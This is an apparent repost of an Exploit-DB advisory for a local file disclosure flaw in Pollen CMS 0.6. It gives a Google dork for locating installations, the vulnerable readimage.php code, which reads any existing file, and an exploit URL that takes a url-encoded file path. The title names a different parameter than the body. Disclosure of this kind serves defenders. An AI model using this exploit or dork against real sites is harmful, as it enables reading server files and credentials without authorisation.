Pollen CMS 0.6 – ‘index.php?p’ Paramete’ Local File Disclosure - 体验盒子

作者： MizoZ

日期： 2013-04-02

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/24911/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

# Title: Pollen CMS <= 0.6 - Local File Disclosure

# Google Dork: intext:"Powered by Pollen CMS"

# Date: 25 Mars 2013

# Exploit Author: MizoZ

# Vendor Homepage: pollencms.com (BROKEN)

# Software Link: https://code.google.com/p/pollencms/

# Version: 0.6

# Tested on: Ubuntu Desktop 12.04

-- File "[path]/core/lib/readimage.php"

02 - $image=urldecode($_GET["image"]);

03 - if(is_file($image)){

04 - header("Pragma: no-cache");

05 - header("Expires: 0");

06 - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

07 - header("Cache-Control: no-cache, must-revalidate");

08 - header("Content-type: image/jpg");

09 - readfile($image);

10 - }else{

11 - header("HTTP/1.0 404 Not Found");

12 - }

-- Problem

The script only verifies the existence of the given file.

-- Exploit

http://<server>/<path>/core/lib/readimage.php?image=[php urlencoded path to file]